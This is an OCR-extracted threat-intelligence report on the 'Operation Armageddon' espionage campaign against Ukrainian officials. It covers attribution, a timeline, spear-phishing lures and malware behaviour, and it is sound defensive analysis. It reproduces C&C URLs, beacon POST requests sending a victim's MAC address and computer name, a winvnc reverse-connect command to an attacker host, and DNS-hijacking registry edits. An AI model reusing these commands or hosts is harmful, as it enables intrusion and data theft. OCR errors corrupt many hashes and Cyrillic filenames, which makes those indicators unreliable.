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Executive Summary

“Operation Armageddon,” active since at least mid-2013, exposes a cyber espionage
campaign devised to provide a military advantage to Russian leadership by
targeting Ukrainian government, law enforcement, and military officials in order to
steal information that can provide insight into near term Ukrainian intentions and
plans. The Security Service of Ukraine (SBU) is continuously investigating this active
threat, and has issued statements attributing the attacks to specific branches of the
Russian Federal Security Service (FSB). Technical and temporal analysis of the
campaign supports these statements and indicates a direct correlation between the
cyber attacks and the ongoing war, highlighting an alarming blend between cyber
espionage, physical warfare, and the driving political forces behind them.

Russia has been identified as a leading nation state cyber threat actor, according to
2015 testimony by the Director of National Intelligence. Russian thought on
information warfare has been well documented. Its 2010 Military Doctrine
referenced the "intensification of the role of information warfare" and assigned as a
task to "develop forces and resources for information warfare."[11 Although Russia
updated this doctrine in 2014, it kept the main tenets of its belief of information
warfare’s increasing role in modern conflict.

While no observations indicate Russia is actively targeting other countries with
these techniques, it is evident that Russia has fully embraced cyber espionage as
part of their overall strategy to further their global interests. These attacks have
correlated to a timeline of kinetic and non-Kkinetic attacks, even timed around
ceasefire agreements. The following presents overwhelming evidence that Russia
has adopted cyber espionage as part of its military doctrine and continues to expand
its capabilities.

Key Findings

* “Operation Armageddon” is a Russian state-sponsored cyber espionage
campaign active since at least mid-2013 and targeting Ukrainian
government, law enforcement, and military officials for the purpose of
identifying Ukrainian military strategies to aid Russian warfare efforts.

* Russia is a leading nation-state cyber threat actor that uses offensive cyber
operations in tandem with kinetic attacks in pursuit of political and military
objectives.

* Russia’s 2010 Military Doctrine acknowledges the intensification of
information warfare activities as a feature of modern warfare.



Operation Armageddon — A Look at Russian State-Sponsored
Cyber Espionage

General Observations

The Lookingglass Cyber Threat Intelligence Group (CTIG) has been tracking an
ongoing cyber espionage campaign named “Operation Armageddon”. The name was
derived from multiple Microsoft Word documents used in the attacks. “Armagedon”
(spelled incorrectly) was found in the “Last Saved By” and “Author” fields in
multiple Microsoft Word documents. Although continuously developed, the
campaign has been intermittently active at a small scale, and uses unsophisticated
techniques.

The attack timing suggests the campaign initially started due to Ukraine’s decision
to accept the Ukraine-European Union Association Agreement (AA). The agreement
was designed to improve economic integrations between Ukraine and the European
Union. Russian leaders publicly stated that they believed this move by Ukraine
directly threatened Russia’s national security. Although initial steps to join the
Association occurred in March 2012, the campaign didn’t start until much later
(mid-2013), as Ukraine and the EU started to more actively move towards the
agreement.

Russian actors began preparing for attacks in case Ukraine finalized the AA. The
earliest identified modification timestamp of malware used in this campaign is
June 26, 2013. A group of files with modification timestamps between August 12
and September 16, 2013 were used in the first wave of spear phishing attacks,
targeting government officials prior to the 10t Yalta Annual Meeting: “Changing
Ukraine in a Changing World: Factors of Success.”

The meeting was held on September 19-22, 2013 and was attended by more than
250 political, media, social, and business leaders from 20 countries. During this
meeting, special attention was paid to the future of Ukraine and its cooperation and
integration strategies with the European Union. The political significance of this
meeting and its attendees was the initial catalyst of the campaign.

However, the stage was set for intense physical conflict when pro-Russian troops in
unmarked military gear invaded Crimea in late February 2014, just after violent
protests of the “Revolution of Dignity” resulted in the expulsion of Ukrainian
President Yanukovych.

Once Ukraine’s interim President announced the start of an “anti-terrorist
operation” against pro-Russian separatists in mid-April 2014, the conflict’s cyber
activities significantly increased. From this point onwards, waves of cyber attacks
from the Russians directly correlated with the timing of military events and were
geared towards gathering intelligence to empower themselves on the physical
battlefield - a digital method of espionage in its truest of forms.
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Figure 1 presents a timeline of the Operation Armageddon campaign, showing
attacks over the past two years. For a correlation between regional events of note
and corresponding activity, please refer to APPENDIX B.

Attribution

According to statements made by the Security Service of Ukraine (SBU)[2IB] the
campaign is being conducted by the 16t (former Federal Agency of Government
Communications and Information) and 18t Centers of the Russian FSB. The
Lookingglass CTIG findings support these statements and nothing uncovered
disputed the claims.

Aside from the political and military motivations, analysis of the timeline of attacks
along with the real world and digital context suggests Russia’s involvement. These
findings are covered in detail in the APPENDIX sections.

Additionally, analysis of the malware used in the attacks yields some information,
shown in the charts below, suggesting at least some of the native-speaking Russian
actors involved are located in Crimea:

o File modification timestamps indicating working hours in Ukraine:
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Figure 2: The number of files with modification timestamps
within working hours in Kiev’s time zone



o File modification timestamps indicating a professional working week:
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Figure 3: The number of files with modification timestamps
within the days of a normal working week

Targets

Figure 4 depicts a geographical representation of the target victims observed by
Lookingglass Cyber Threat Intelligence Group:
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Figure 4: Victim locations within Ukraine

The overall targets can be separated into two groups: targets before and after the
Revolution of Dignity. Before the revolution, the targets were Ukrainian government




officials, members of the opposition, and pro-opposition journalists. After the
revolution, the targets shifted to focus on Ukraine’s government and law
enforcement, especially those directly located around and involved with the anti-
terrorist operations.

Tactics, Techniques, and Procedures (TTPs)

Each attack in the campaign has started with a targeted spear phishing email
convincing the victim to either open a malicious attachment or click a link leading to
malicious content. The attackers use documents either previously stolen from or of
high relevance and interest to Ukrainian targets, often government officials, in order
to lure their victims into opening the malicious content. Examples of spear phishing
emails that were published by the SBU[*! along with their translations can be found
in APPENDIX C. For more on legitimate document lures and their droppers, see
APPENDIX A and D.

Upon execution of the most recent samples of malware, a self-extracting archive
(SFX) dropper launches a legitimate lure document as well as a script used to
download payloads from a remote Command and Control (“C&C") server either
operated or controlled (compromised) by the attackers. Older samples from the
campaign used either Adobe or Microsoft Word icons but sometimes did not
actually open a lure document.

The payloads have been observed as fake updates for Adobe Flash Player, Internet
Explorer or Google Chrome, and have also been SFX archives. There have been
several observed instances of multistage payloads with up to three levels of nested
SFX archives before the ultimate malware is reached.

Throughout the course of the campaign, the final payloads have been some form of
Remote Administration Tool (RAT) - either the “Remote Manipulator System”
(RMS), which is a very popular RAT commonly distributed in Russian hacking
forums, or UltraVNC, which is a RAT that’s freely available online. These RATs have
both been categorized as malicious by the AntiVirus industry. Additionally, early
campaign payloads have also included malware that modifies the DNS servers used
by victim machines in order to redirect traffic.

Malicious batch scripts within the SFX archives send identifying information about
the infected machine back to a C&C server, including the MAC address and computer
name. The RATSs have also been used to steal legitimate documents related to the
Russian-Ukrainian conflict to be used as lures in the next waves of the attacks.

The Ukrainian government and Security Service of Ukraine (SBU) are actively

investigating this threat and have issued at least two known official statements in
September 2014[2 and March 2015[3]



While very uncommon, campaigns of this nature and the attack vectors used are not
new. FireEye recently published a reportl®] about attackers using SFX droppers and
a RAT targeting the Syrian opposition forces. Motivations paralleled those of this
campaign and included identifying military strategies that could result in a distinct
disadvantage to the opposition forces.

For Indicators of Compromise, see APPENDIX G.

Conclusion

The Lookingglass Cyber Threat Intelligence Group has observed a Russian state-
sponsored cyber espionage campaign targeting Ukrainian government and military
officials. While Russian cyber capabilities are reputed to be robust, based on the
individuals targeted and the nature of the TTPs implemented, the activity detected
and the correlation to real world events thus far implies that the actors are more
focused on collecting timely intelligence regarding Ukrainian military strategies to
obtain an advantage in the ongoing war.

While the CTIG only found evidence of Ukraine being targeted in these attacks, it is
plausible that the same techniques are being used elsewhere. By releasing the TTPs
and I0Cs, new evidence may be discovered by other compromised targets. The CTIG
believes that Russia will continue to harvest military and political intelligence as
long as physical conflict exists with Ukraine.



APPENDIX A: General Technical Analysis

Explained below is the analysis of a piece of malware used that is indicative of the
TTPs used throughout the campaign:

File: OOwwmit COMCOK JIMII BaIepPXaHHHX U comepxammxcs B VBC Ha TeppuTopuUMn
IOHP 3a wuionabs 2014 Toma.scr

Translation (from Ukrainian): Total list of people detained and held in
the territory of DPR for July 2014.scr

MD5: 456BAD71881D1B456C1D0F96D94B5660

This sample is an SFX archive used as a dropper, which had a fake Adobe icon and
used a file name attempting to depict a document of interest. Once decompressed, it
contained three files:

get.vbs (MD5: BO92E789AACICC44F080D904371E1B9B5)
get.bat (MD5: E96DC19C669A999CFTA47907DF5135E2)
wget.exe (MD5: BD126A7B59DSDIF97BA89A3E71425731)

Upon opening the SFX dropper, the “get.vbs” script executes “get.bat”. This batch
script uses the legitimate “wget.exe” to download the following executables from an
attacker operated C&C server:

hxxp://downloads.file-attachments.ru/loads/setup updates.exe
hxxp://downloads.file-attachments.ru/loads/install flashplayer aih.exe

setup updates.exe (MD5: AB567F299FD45509554EEEEA578C967D)
install flashplayer aih.exe (MD5: 9FCFF92538E35CD213A576D82E318C74)

Once the files are downloaded, the batch script copies them to
$WINDIR%\AdobeUpdates\ and executes them. The script also sends data via HTTP
POST containing identifying information about the infected machine including the
MAC address, computer name, and a static group name set to “pismo” (which means
“letter” in Russian) to another attacker operated C&C server:

POST /updater.php HTTP/1.0

User-Agent: Wget/1.11.4

Accept: */*

Host: rms.admin-ru.ru

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 55

mac=00-0C-29-DA-E5-4F&comp=WIN-SBRNEQJFILD&group=pismo

One of the downloaded stage one payloads, “install_flashplayer_aih.exe”, is another
SFX archive containing:
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123.cmd (MD5: DADA62ED88A4FB1239573B99FECES59B2)
set.exe (MD5: 62DES8FAB8E2091CBD5SA8897029B2CTEA)

“123.cmd” runs “set.exe,” which is a password protected SFX archive. The password
can be found within “123.cmd” and is “123456790__." Within “set.exe” is yet another
SFX archive, “setting.exe” (MD5: 8FFOFA4E0C195CA554B3CATEC0694D3B), which
contains:

install.cmd (MD5: D43E1RBAE9332DE223D13840FCD21A76)
rms5.2.1.msi (MD5: 2ABAF6748B3B3A8AAD84F715AE3BD3C1)
wget.exe - same as the previously mentioned version of wget

Contained in this archive is one of the ultimate payloads: “rms5.2.1.msi,” which is
the RMS RATI¢l. RMS is capable of remote access to the machine, remotely
viewing/recording the desktop, file management/transfer, registry modifications,
terminal access, web cam and microphone access, and more. RMS is one of the most
popular tools used by Russian cybercriminals and many hacking forums (including
happy-hack.rul”l, xaker.namel®l, xakfor.netl?], antichat.rul1%, and hackzone.rul!1l)
have a manual describing how to create a custom build.

This RAT has been buried within three levels of SFX archives:

- - | install_flashplayer_aih
- set
------

Mame ' Ext.
G [..]
|install emd
If:.jjj rms5.2.1 sl
B Wget EXE

Figure 5: Multiple layers of SFX archives containing RMS RAT

When the “setting.exe” archive is opened, the “install.cmd” script stops all RMS
services, silently uninstalls them and removes traces of RMS in the system,
presumably to remove any other previous installations of RMS.

“Install.cmd” then pings google.com.ua to check for Internet connectivity until it is
achieved. Once the connection has been verified, it runs the RMS RAT
“rms5.2.1.msi,” and sets the group parameter to "download" and sends RMS
settings, MAC Address, group id, and computer name back to the C&C at rms.admin-
ru.ru/updater.php using HTTP POST:

11



POST /updater.php HTTP/1.0

User-Agent: Wget/1.11.4

Accept: */*

Host: rms.admin-ru.ru

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 2949

mac=00-0C-29-DA-E5-4F&comp=WIN-SBRNEQJFILD&id={Hex encoded
content, refer to APPENDIX F}&group=download

The entire “install.cmd” script can be seen in APPENDIX E.

The setup_updates.exe file that was also initially downloaded from the first C&C
domain (downloads.file-attachments.ru) is another SFX archive containing the
following files:

setups.cmd (MD5: 26AAS5B2E3C6F68E9A92C891E99D2BC0O3)
setups.vbs (MD5: CAOBFO9A875E39F8C2FB6AALT7AESE25B)
AdobeUpdates.exe (MD5: 46CEBEB27C7B8952A554B5CD7C49A9AE)

When “setup_updates.exe” is run, the “setup.vbs” script is executed, which simply
executes “setups.cmd” to create a task to execute “AdobeUpdates.exe” every 30
minutes. “AdobeUpdates.exe” is yet another SFX archive containing:

AdobeUpdates.vbs (MD5: D70215721A05A8289B6D80E7847EAF78)
AdobeUpdates.cmd (MD5: 8F13977DFCA4F6BODEF6F8AS085CC300A)
wget.exe - the same legitimate version of wget

= | setup_updates
b AdobeUpdates
Mame Ext.
e
5| Adobelpdates cmd
AdobeUpdates vbs
m-ly \get exe

Figure 6: SFX archive containing persistence mechanism script

The “AdobeUpdates.vbs” script calls “AdobeUpdates.cmd,” which is used to check if
an RMS RAT process already exists on the infected host. If so, it sends an update to
rms.admin-ru.ru again containing the MAC address, computer name, and sets the
group name to “no-install-adob”, indicating that running the installer again is
unnecessary. However, if the RMS process is not present, it runs
“install_flashplayer_aih.exe” as the persistence mechanism to install RMS.
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Both domains (file-attachments.ruand admin-ru.ru) used as part of the C&C
infrastructure resolved to the same IP address, 46.254.20.155, belonging to a
Russian hosting provider.

Variations of Spear Phishing Lures + Droppers Used

Over the course of the campaign, numerous spear phishing lures were used within
the SFX archive droppers. The lures were usually legitimate Word or PDF
documents stolen from the victims, and always contained content relevant to the
ongoing conflict in the region. Early in the campaign, the droppers posed as
documents, but did not actually open documents. However, as the campaign
progressed, the SFX archives opened the legitimate documents while performing
malicious actions to lessen the chance of victim suspicion. Below is a collection of
lures and droppers used during the attacks, which can be viewed in APPENDIX D.

Between April 16, 2014 and April 19, 2014, a malicious SFX dropper was used in the
campaign with a legitimate PDF. The SFX archive was:

File: Cnmckmy uYJIeHOB HOBMWXeHMA [IpaBElM CEKTOP C yKa3aHMEeM yCTaHOBOUHBIX
OaHHEIX ¥ oTorpadmaMm JIMLL.exe

Translation (from Russian): Lists of members of the Right Sector with
location and pictures.exe

MD5: F125005055AED91873CE71010B67EBS5

This SFX archive dropped and ran the malware, but opened a legitimate PDF as well:

File: Spiski pravogo_ sektora.pdf
Translation (from Russian): Lists of Right Sector.pdf
MD5: EA8BB16F04985063BE3C5E617C201681

This PDF, written in Ukrainian, is a general description of the Right Sector and its
main members.

Also during this time, an additional legitimate Microsoft Word document was used.
[t was the first occurrence of the “Armagedon” author:

File: Cnmucku 6e3 ¢ororpadmur.docx
Translation (from Russian): Lists without photos.docx
MD5: 7DF924CBB8A41B7622CDF4F216C63026

Spiski_pravogo_sektora.pdf was also observed between May 23, 2014 and
August 23, 2014, when another malicious SFX dropper was used. The dropper was
spotted with two different filenames:

File: Cnmckmu ujeHiB IIpaBoro cekTopa Akl OyaM HalaHl nperncTaBHMKAM
IOoHelbkOl HapoXHOI Pecny®OiikmM.scr

Translation (from Ukrainian): Lists of members of Right Sector who were
given to representatives of DPR.scr

File: KoppekTupOBaHHBE CIMCKM IIPaBOI'O CEKTOpa COCTOsHMeM Ha MioHb 2014
rozja.scr

13



Translation (from Ukrainian): Corrected lists of Right Sector as of
June 2014.scr
MD5: BDB7FCOC315DFO06EFA17538FR4ER38CFE

During the phase of the attacks in late August 2014, an additional SFX archive was
identified:

File: Ind¢opmauninmHi MaTepianmu nOisa mwomeHHOTO 1HPopmMyBaHHs AmMiHicrpaniil
[IpesuneHTa YKpPalHM.SCK

Translation (from Ukrainian): Information for daily briefing of
President's Administration of Ukraine.scr

MD5: 18813BEF1BFA68DBB76752C5DF32E10AE

The SFX archive dropped and ran the malware, but opened a legitimate Word
document:

File: 25.08.2014.doc
MD5: 1B616B190291593D1B392F6FA9998422

This document, written in Ukrainian, is a legitimate report for everyday notification
of the President’s Administration of Ukraine about the anti-terrorist operations in
Ukraine. The document, dated August 25, 2014 contains data about terrorist attacks
against the Ukrainian army and their losses. This document was also the second of
the two documents identified containing metadata showing “Armagedon” last saved
the document:

] 25,08.2014.doc Properties =

| General I Security | Custom ] Details | Previous Versions l

Property Value it
Description

Title

Subject

Taas

m

Categories
Comments
Origin
Authors Admin
Last saved by Amagedon
Revision number 2
Version number
Program name Microsoft Office Word
Company Microsoft
Manager
Content created  8/25/2014 9:13 AM
Date last saved  8/25/2014 5:13 AM
Last printed
Total editing time  00:06:00 i

Remove Properties and Personal Information

[ QK ][ Cancel ] Apply

Figure 7: Last Saved by “Armagedon”
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In the November 2014 phase of the campaign, from November 1 thru November 18,
two malicious SFX droppers were used with legitimate Microsoft Word documents.
The SFX archives were:

File: ExCHepTMHUI BMCHOBOK koMicii HaykoBoTo LeHTPY CyXONYyTHMX BiNMCBK
AxameMil cyxonyTHMX Bilicbk imMeHl rTerbMaHa I[leTpa CarammadyHoOI'O.SCT
Translation (from Ukrainian): Expert Report of Committee of Ground
Forces Scientific Center of Army Academy named after Hetman Petro
Sahaydachnyi.scr

MD5: 286618DFOAEBBEDCFD39A865CD4E6BD7

File: KoHTpOJbOBaHliCTb TepuTOpill cuyjamMm sSK1 NpuMMaloTb ydacTb Yy
IIpOBENEeHH]1 aHTUTEePOPMCTMUHOI onepauii, cranHoM Ha 16.11.2014.scr
Translation (from Ukrainian): Territories controlled by forces that are
taking part in anti-terrorist actions on 11.16.2014.scr

MD5: 0355DB8425D97C343E5ATB4ECBF43852

The first SFX archive dropped and ran the malware, but opened a legitimate stolen
document written by someone in the Army Academy named after Hetman Petro
Sahaydachny, and contains information about Ukrainian military engineering
strategies:

File: 2014.doc
MD5: A85115F97136D812317303306B8625D2

The second SFX archive also dropped and ran the malware, but opened another
legitimate document containing a list of Ukrainian towns and cities controlled by
anti-terrorist forces:

File: ATO.doc
MD5: 75AC3B194CE14BBE3B57A2B500E80734

The SFX dropper from the samples of malware from December 25, 2014, continued
to use Word documents, again using a legitimate stolen document written by the
SBU about cases that represent terrorist threats to Ukraine. The SFX archive:

File: BimnnmoBinmb AHTUTEpPOPMCTMUHUN LeHTpP npu Ciuyx0il Oesnexm YkpaiHm BX.
T N 11735mcx Bim 25.11.2014.scr

Translation (from Ukrainian): Response of Anti-Terrorist Center of SBU
ref # TWM11735 restricted dated to 25.11.2014.scr

MD5: 75BCFC6BlE10D362A0170445B6B2BEDE

After dropping and running the malware, it also opens the legitimate document:

File: 2014.12.10.doc
MD5: 30B727769DE863360C5103CA7955E21B
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Two more SFX droppers used by the attackers in January 2015 included Word
documents potentially stolen and repurposed in the same day--on January 15 (the
spear phishing email used by the attackers at this time can be seen in APPENDIX C):

File: JomaTok »mo ysaraJlbHEeHOI HOBiIkM NIpo OOCTAHOBKY Ha IepXaBHOMY
KopnoHl VYkpainm craHoM Ha 15 ciuna 2015 poky.scr

Translation (from Ukrainian): An appendix to the summarized overview of
the situation at the state border of Ukraine as of January 15 2015.scr
MD5: B7E306E05B5CBD6FEF64A0803C07CC32D

Upon execution of the SFX archive and subsequent malware, the legitimate
document is also opened:

File: 15 01 2015.doc
MD5: 76A45D72720A81AD580207B8293CDB17

15_01_2015.doc, written in Ukrainian and marked as “not for distribution,” gives an
overview of the situation at the state border as of Jan 15 2015, from the Operational
headquarters of the Administration of the State Border Guard Service of Ukraine.

Just a week and a half later, on January 25:

File: JoBizmka koMaHOuMpa BilicbkxoBol uwacTuHM Al035 nimnonxoBHMKA
M.O.UybaHoBa misa Haema (cemexTop 25.01.15) .scr

Translation (from Ukrainian): The report of commander of military unit
A1035 M.O. Chubanova for Naev (conference call 01.25.2015) .scr

MD5: 86796D33483CA122612AA82A405F013B

Upon execution of the SFX archive and subsequent malware, the legitimate
document is also opened:

File: 25.01.2015.doc
MD5: 64E8A194C73794F3B99FF0469946FBAL

25.01.2015.doc, also written in Ukrainian and marked as “not for distribution,”
contains data about the current number of people and equipment and in the 74
separate reconnaissance battalions as of July 2014. The document also shows the
list of people (and ranks) and equipment that need to be mobilized to the military
unit for a successful mobilization.

On February 8, the following dropper was observed:

File: TwmMyuacoBMM NOPSOOK 3HilMCHEHHS KOHTPOJIO 3a lepeMimeHHsM oci6,
TPAHCINOPTHMX Bacoblie Ta BaHTaxiB B3OOBX JI1H1I 3iTKHEeHH.SCT
Translation (from Ukrainian): A temporary order of implementation of
control of movement of persons, vehicles and cargos along the line of
the conflict.scr

MD5: 125970B313EE46EBB3DCD28B6E3268C6
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Upon execution of the SFX archive and subsequent malware, the legitimate
document is also opened:

File: poryadok.doc
Translation (from Russian): order.doc
MD5: AAOS82AEEBC5AR3BA00D3544959707634

This document is an addition to an order made by the head of the Anti-Terrorist
Center at the SBU regarding controlling the movement of people, vehicles, and cargo
along the borders of the conflict zones. The addition to the order contains the rules
that must be implemented for the order.

Not long after, another dropper was identified on February 16, 2015:

File: KoHTpoJboOBaHicTb TepurTopilt cuyjamm ATO cTaHoM Ha 16.02.2015
(pattonn i micra, saxil nepebyBanTb MNil KOHTPOJIEM) .SCI

Translation (from Ukrainian): The territories that are under the
control of “Anti-terrorist forces” as of 16.02.2015 (fully controlled
districts and cities) .scr

MD5: 622CE511E8F8A68FACI9FEB06536CC8FEB

This dropper opened another benign document so as to not raise any suspicions,
which contains a report from the SBU’s Anti-Terrorist Center about the territories of
Donetsk and Lugansk oblasts controlled by Anti-Terrorist forces as of February 16:

File: ATO.docx
MD5: 7E1B6B1247A28D49260856818FB709BF

After the SBU made a second official statement on March 13, attributing recent
attacks to the Russian government, another two droppers were observed on
March 25, 2015 and April 3, 2015. These SFX droppers were, respectively:

File: Ilponmosmuuii mna MiniHppacTpykTypu Ykpalnu [JA3TY «Ykps3aliszsHuS»
mMono po3MilleHHA MNYHKT1B KOHTPOJIO Ha 3ajli3HMYUHOMY TPAaHCIIOP.SCK
Translation (from Ukrainian): Proposals for “Ukrzaliznytsia” (Ukrainian
Railways) of the Ministry of Infrastructure of Ukraine about placing of
checkpoints on railways.scr

MD5: C62438A6AB1D37DF5AFC712CE14995D9

File: llono rpomanmsaH Ykpalunm YyxmHoBa C.B., 26.08.1979 p.H. Ta
Onmaxoecekro C.B., 15.09.1971 p.H., gkl cnpmsanm niganpHOCT1.Scr
Translation (from Ukrainian): About Ukrainian citizens Chuzhinov S.V.,
26.08.1979 DOB and Oldakovskyi S.V., 15.09.1971 DOB, who contributing
to activities.scr

MD5: 2FCF797F2134BB860F784CA8F5BAC4D7

17



APPENDIX B: Timeline and Campaign Progression

As the attacks unfolded, it became increasingly evident that waves of the campaign
directly correlated with the most recent events in Ukraine. Understanding major
events in the region helped trace activity backwards and predict the next stages of
the attacks. Because the attackers have continued to reuse infrastructure and TTPs,
domains and samples of malware were easily identified, and it was clear that the
different samples represented consistent development efforts. The attackers have
used the same filename of one of the stage one payloads
(“install_flashplayer_aih.exe”) throughout the course of the campaign, which has
aided the tracking efforts.

June 26, 2013

When discussions of Ukraine accepting the Association Agreement became more
serious, the attackers began the preparation phase of the campaign. The earliest
known file modification timestamp of a file used in the attacks (“den.exe” - explained
below) is identified.

August 27, 2013

The first known variant of RMS RAT (MD5: 2DD8A3312635936041C686B5FC51CIFF,
described in detail in the General Technical Analysis section above) is identified
along with “den.exe” (MD5: 40F7CC7F30C30C79AD7541A4CFOBEF72B). The “den.exe”
malware is used to modify an infected system’s DNS servers to the following, in
order to perform DNS redirection (or hijacking) attacks using the first IP address as
a malicious DNS server along with a legitimate OpenDNS server:

DNS IP Address Location Company ASN
80.245.113.158 Ukraine, Simferopol Crelcom AS6789
208.67.222.222 USA, San Francisco OpenDNS AS36692

The inclusion of the legitimate OpenDNS DNS provider suggests that the malware
only uses the attacker controlled DNS server to resolve specific domains of interest
to the attackers. The malware uses the legitimate DNS server for all other requests.

In order to accomplish this, the following registry keys are modified:

HKLM\SYSTEM\ControlSet00l\services\Tcpip\Parameters\{UUID}\NameServer:
“80.245.113.158, 208.67.222.222"
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\{UUID}\NameServ
er: “80.245.113.158, 208.67.222.222"

August 30, 2013
The domain file-attachments.ru was privately registered via the REGRU-RU
registrar for use in future attacks. The first known IP resolution was 46.254.20.155.
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September 2, 2013 - September 16, 2013

As the 10t Yalta Annual Meeting approaches, in which EU and Ukrainian
representatives will meet to discuss the terms of the AA from September 19-22, the
initial wave of attacks begin. The goal of these attacks is to gain insight into the
political decisions being made at this time. Attackers utilized the RMS RAT as well as
“den.exe”.

September 20, 2013 — November 24, 2013

During the 10th Yalta Annual Meeting in late September, more attacks are observed,
including the first instance of the “install_flashplayer_aih.exe” (Mp5:
4E3D45AAT5822C52750EC5055697C964) payload, which ultimately dropped RMS RAT
and “den.exe”. It was used intermittently over the next few months, and on
November 24, 2013, it was identified being distributed from a compromised server
belonging to a Russian cosmetics company:

hxxp://kif.ru/inc/catalog/install flashplayer aih.exe

At the same time, this compromised server is also distributing the following payload
of “FlashPlayerUpdates.exe” (MD5: A25CA9F94E43D35104AB4482100D630A), which is
the predecessor of the setup_updates.exe payload (described in General Technical
Analysis section):

hxxp://kif.ru/inc/catalog/FlashPlayerUpdates.exe

There are a few differences between this earlier version of
“install_flashplayer_aih.exe” and the newer and updated version analyzed in the
General Technical Analysis section. The main difference is that in this older version,
the last level of the SFX archives (“setting.exe”) drops “den.exe” (for DNS
redirection) in addition to “install.cmd”, “rms5.2.1.msi,” and the legitimate
“wget.exe.” Additionally, “install.cmd” has lines to run “den.exe,” pings google.com
(instead of google.com.ua), and does not attempt to remove traces of previously
installed versions of RMS.

[t is unknown how long these payloads were being distributed from the
compromised server or how else these files were distributed during their several
month window of usage.

Also during this timeframe, an additional version of “install_flashplayer_aih.exe” was
identified (MD5: FD9AFS8CFAOD76E84CC783352A44E02E9) with the same functionality.

December 1, 2013 - February 28, 2014

The Federal Security Service of the Russian Federation (FSB) has officers present
inside the SBU['2]. No attacks directed towards the SBU occur during this time,
presumably because of the FSB’s direct access to SBU operations.
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April 15, 2014 - April 30, 2014

Just over a month after violent protests result in Ukrainian President Yanukovych
fleeing to Russia and armed men in unmarked military gear seize the Simferopol
International Airport in Crimea, the new acting Ukrainian President Turchynov
announces the start of an “anti-terrorist operation” against pro-Russian separatists.
At this point, the cyber espionage campaign’s focus shifts from gathering political
strategies to military intelligence as its most active wave begins.

The first instance of a benign lure/decoy document being used in a spear phishing
email to convince victims to open malicious content is identified: “Cnucku 6e3
doTorpaduii.docx,” which translates from Russian to “Lists without photos.docx”
(MD5: 7DF924CBB8A41B7622CDF4F216C63026). Operation Armageddon’s name was
derived from this document, which contains metadata showing it was both authored
by and last saved by “Armagedon” (spelled incorrectly):

" Crnnckm Bes dotorpadmit.docx Properties @

Security | Details | Previous Versions

Property Value it
Description

Title

Subject

Tags

Categories

m

Comments

Origin
Last saved by Amagedon
Revision number 2
Version number
Program name Microsoft Office Word
Company Grizli 777
Manager
Content created  4/16/2014 3:23 AM
Date last saved  4/16/2014 3:23 AM
Last printed
Total editing time  00:02:00 i

Remove Properties and Personal Information

[ ok [ cancel || feph

Figure 8: Authored and Last Saved by “Armagedon”

Delivered with the benign lure document is an updated version of
“install_flashplayer_aih.exe” (Mp5: C9DE51CAB6447BD557EABALIEA8F413F). [t now
removes traces of previous installed versions of RMS, and no longer uses “den.exe”
for DNS redirection. Removing the DNS redirection capability suggests it was not as
effective as intended, or that the attackers decided to focus on leveraging the RAT
capabilities for acquiring intelligence about Ukrainian military strategies.
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June 14, 2014 - July 5, 2014

Pro-Russian rebels shoot down a Ukrainian military plane on June 14, 2014, killing
49. The very next day a new wave of cyber attacks begins and uses the same
malware and TTPs, presumably to attain information on how Ukrainian forces
would respond. Less than a week later on June 20, Ukraine’s newly elected President
Poroshenko announces a ceasefire that lasts less than two weeks before deciding to
launch a military ground operation against pro-Russian rebels in Ukraine. Only a
few days after the unsuccessful ceasefire ends, no new campaign activity is
observed.

July 17, 2014 — August 28, 2014

On the same day that Malaysian Airlines flight MH17 is shot down killing 298,

July 17, 2014, new campaign activity is observed, delivering the malware described
in detail in the above General Technical Analysis section. An additional version of
“install_flashplayer_aih.exe” (MD5: 4795FE6F5CE9557F6CBBA6457B7931CC) IS
identified that includes the same functionality as the previous version, but with one
exception: 123.cmd no longer includes a password required to open the “set.exe”
SFX archive.

During this time, Russia’s military invades Ukrainian cities and large groups of
Ukrainian forces are cornered and almost entirely destroyed. Shortly thereafter,
Ukrainian and Russian Presidents Poroshenko and Putin meet and Poroshenko
agrees to retreat his forces. Only two days after their meeting on August 26, 2014,
the cyber attacks cease. This is one of the longer stretches of the espionage
operation due to the amount of intense military activity.

September 12, 2014

The SBU releases a statement[2l announcing the detection and disruption of a cyber
attack by the Russian special services. They explain some of the TTPs observed in
the attacks. This moment marks the beginning of preparations for the next stage of
the campaign, in which the attackers modify their TTPs.

October 30, 2014 — November 26, 2014
After more than a month of preparation and changing TTPs, escalation of physical
conflict in Ukraine prompts the next round of attacks to begin.

Two new files are identified: “Attachments_files_klm1977@i.ua.7z” (MD5 :
A67663EBCL7F1B29FC14C8017F3185A5) and “Attachments_file_nas-
law@ucci.org.ua.7z” (MD5: 8D99D6ACCCEE2DBABB82B03B36554B06). These filenames
represent email addresses of the senders of the spear phish emails, the former being
a personal email account, and the latter being an account from the International
Commercial Arbitration Court at the Ukrainian Chamber of Commerce and Industry.

The sets of files have different initial droppers/lures which are discussed in
“Variations of Spear Phishing Lures + Droppers” in APPENDIX A.
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However, they both contain a new file “getcrome.exe” (MD5:
11C4601D3968F689E87CT71E6687A3853), which uses a downloader script to retrieve

the same payloads (now imitating fake Google Chrome updates) via the legitimate
wget:

set sites=http://downloads.email-attachments.ru/load

m
ot

m
m

/chrome-xvnc-v5517.exe

m
ct

m
m

Jjchromeupdates.exe

[T I T ]
m
1
m
m

/updatesexplorer.exe

Figure 9: Payload retrieval

This new domain, email-attachments.ru, was registered with privacy protection
on August 21, 2014, and resolves to 46.254.22.31.

These payloads are nearly identical in functionality to the previous samples, except
that the ultimate payload “chrome-xvnc-v5517.exe” (MD5:
D29050BAE02ADC38E28FCF33622C06E9) has changed from using the RMS RAT to the
UltraVNC RAT31. UltraVNC is capable of accessing and completely controlling the
infected machine. The RAT is set up to use the victim’s MAC address as an ID when
connecting back to the attacker operated Virtual Network Computing (VNC) server:

CD \vnc
g 127.0.0.1
ping 127.0.0.1
cChD " \vnc\"
start winvnc —autoreconnect -id: —connect gromS0.ddns.net:5500

Figure 10: UltraVNC connection to Dynamic DNS domain
The VNC server is using a Dynamic DNS domain grom90.ddns.net accepting
connections on port 5500. The only two IP addresses the domain has resolved to are

91.218.228.161 (which hosts file-attachments.ru)and 37.143.8.220.

UltraVNC uses a configuration file “UltraVNC.ini” with interesting pieces of data:

path=Y:\IIPOBA\CosmasmMe TpoaHos\cos3manme RMS\vnc

Figure 11: Path to UltraVNC logs on attacker controlled machine
The path above in the configuration file is set as a location on the attacker operated

machine hosting the VNC server to be used for storing logs. This path translates
